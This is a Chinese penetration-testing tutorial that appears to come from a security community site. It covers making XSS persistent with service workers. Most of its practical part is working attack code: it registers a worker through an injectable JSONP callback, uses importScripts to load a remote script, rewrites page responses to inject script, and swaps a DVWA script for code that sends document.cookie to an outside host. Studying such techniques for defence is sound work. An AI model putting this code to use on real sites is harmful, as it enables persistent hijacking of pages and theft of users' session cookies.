渗透测试|XSS持久化service worker

2022010217284552

service worker

service worker是一种特殊的web worker,web worker的作用是什么。

Web Worker为Web内容在后台线程中运行脚本提供了一种简单的方法。线程可以执行任务而不干扰用户界面。一旦创建, 一个worker 可以将消息发送到创建它的JavaScript代码, 通过将消息发布到该代码指定的事件处理程序(反之亦然)。

service worker是一个注册在指定源和路径下的事件驱动worker。它采用JavaScript控制关联的页面或者网站,拦截并修改访问和资源请求,细粒度地缓存资源。你可以完全控制应用在特定情形(最常见的情形是网络不可用)下的表现。

并且由于service worker工作于worker上下文,因此它不能访问DOM。线程独立于浏览器主线程,并且与当前的浏览器主线程完全隔离,并且可以用 JS 代码来拦截浏览器当前域的 HTTP 请求,故该特性为XSS的持久化实现提供了基础。

当然由于service worker的功能,出于安全考虑,有一些限制。

  1. 只能注册同源下的js
  2. 网站必须是https://或者http://localhost/
  3. content-type 为 */javascript
  4. Worker 线程不能获得下列对象:DOM对象,Windows对象,document对象,parent对象。

注册service worker

参考:https://developer.mozilla.org/zh-CN/docs/Web/API/ServiceWorkerContainer

注册

service worker的注册方式

  1. ServiceWorkerContainer.register(scriptURL, options)
  2. navigator.serviceWorker.register(scriptURL, options) #返回一个ServiceWorkerContainer对象。

例如一个示例代码:

  1. if ('serviceWorker' in navigator) {
  2. navigator.serviceWorker.register('service-worker.js', {scope: './'})
  3. .then(function(registration) {
  4. document.querySelector('#status').textContent = 'succeeded';
  5. }).catch(function(error) {
  6. document.querySelector('#status').textContent = error;
  7. });
  8. } else {
  9. // The current browser doesn't support service workers.
  10. let aElement = document.createElement('a');
  11. aElement.href = `
  12. http://www.chromium.org/blink/serviceworker/service-worker-faq
  13. `;
  14. aElement.textContent = 'unavailable';
  15. document.querySelector('#status').appendChild(aElement);
  16. }

响应事件

worker注册完成后,需要监听fetch事件来达到篡改返回,对页面嵌入恶意的srcipt脚本。

  1. self.addEventListener('fetch', function(event) {
  2. //worker context
  3. });

利用respondwith来自定义返回的响应代码。其中包含Response对象的代码。

  1. function(e){
  2. e.respondWith(
  3. new Response('<script>alert(document.domain)</script>',
  4. {headers: {'Content-Type':'text/html'}}
  5. )
  6. )
  7. }

返回一个html的内容。

利用

由于service worker存在的一定的限制,需要绕过同源,所以这里最方便的就是使用jsonp。因此需要一个jsonp的接口,并且这个接口的参数可操纵。

所以在注册的时候,需要一个jsonp的调用,例如

  1. navigator.serviceWorker.register('/a.php?callback=alert(1)');

结合上面的响应,importScripts导入远程js文件。

  1. navigator.serviceWorker.register('/a.php?callback=importScripts("https://xx/test.js")');
  2. //test.js
  3. self.addEventListener('fetch', function(event) {
  4. event.respondWith(
  5. new Response('<script>alert(document.domain)</script>',
  6. {headers: {'Content-Type':'text/html'}}
  7. )
  8. )
  9. });

本地调试一下,先本地导入这个js文件。

image-20210607140129968

在刷新一下页面

image-20210607140401009

在谷歌浏览器下,执行chrome://serviceworker-internals查看已经注册的service worker。能看到一个正在运行的service worker。

image-20210607140448999

同样,在没有jsonp可以利用的地方,就需要查找是否有可利用的上传点,上传一个js脚本上去。直接在同源下利用即可。

如果需要无感反馈,但是service worker并不能操作document,Window对象。如下是模拟一个请求,每次触发响应的时候都会跨域发送一个请求到指定地址,但并不能携带敏感信息。

  1. self.addEventListener('fetch', function(event) {
  2. console.log('Handling fetch event for', event.request.url);
  3. event.respondWith(
  4. caches.match(event.request).then(function(response) {
  5. const url='http://192.168.30.179:8888/';
  6. const othePram={
  7. headers:{
  8. "content-type":"text/plain"
  9. },
  10. method:"GET",
  11. mode: 'cors',
  12. credentials:'include'
  13. };
  14. fetch(url, othePram)
  15. .then(res=>console.log(res))
  16. console.log('No response found in cache. About to fetch from network...');
  17. return fetch(event.request).then(function(response) {
  18. console.log('Response from network is:', response);
  19. return response;
  20. });
  21. })
  22. );
  23. });

image-20210607162103258

这里采用监听返回的url为特定地址的话返回修改的response。比如使用如下代码

  1. self.addEventListener('fetch', function (event) {
  2. event.respondWith(
  3. caches.match(event.request).then(function(response){
  4. console.log(fetch(event.request));
  5. var url = event.request.clone();
  6. if (url.url=='http://localhost/dvwa/dvwa/js/dvwaPage.js'){
  7. return new Response("var httpRequest = new XMLHttpRequest();httpRequest.open('GET', 'http://192.168.30.179:8888/'+document.cookie, true);httpRequest.send();")
  8. }else{
  9. return fetch(event.request).then(function(response) {
  10. console.log('Response from network is:', response.url);
  11. return response;
  12. }, function(error) {
  13. console.error('Fetching failed:', error);
  14. throw error;
  15. });
  16. }
  17. })
  18. )
  19. });

监听是否是指定的地址,此处使用一个脚本文件,在脚本中返回一个请求来触发。但只是这样的话会破坏一个js的使用,所以可以返回原js文件的同时,再添加一个恶意的js代码到其中。

image-20210607173505261

参考文章

https://paper.seebug.org/177/

https://xz.aliyun.com/t/8679

http://zerobs.top/2020/11/15/71.html

https://yanluow.github.io/2020/10/21/xss%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%A5%E5%8F%8A%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%912020hardxss

本文来自投稿,不代表安强科技社区立场,如若转载,请注明出处:https://community.anqiangkj.com/archives/2402

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022年1月3日 上午1:23
下一篇 2022年1月3日 上午2:15

相关推荐

发表回复

您的电子邮箱地址不会被公开。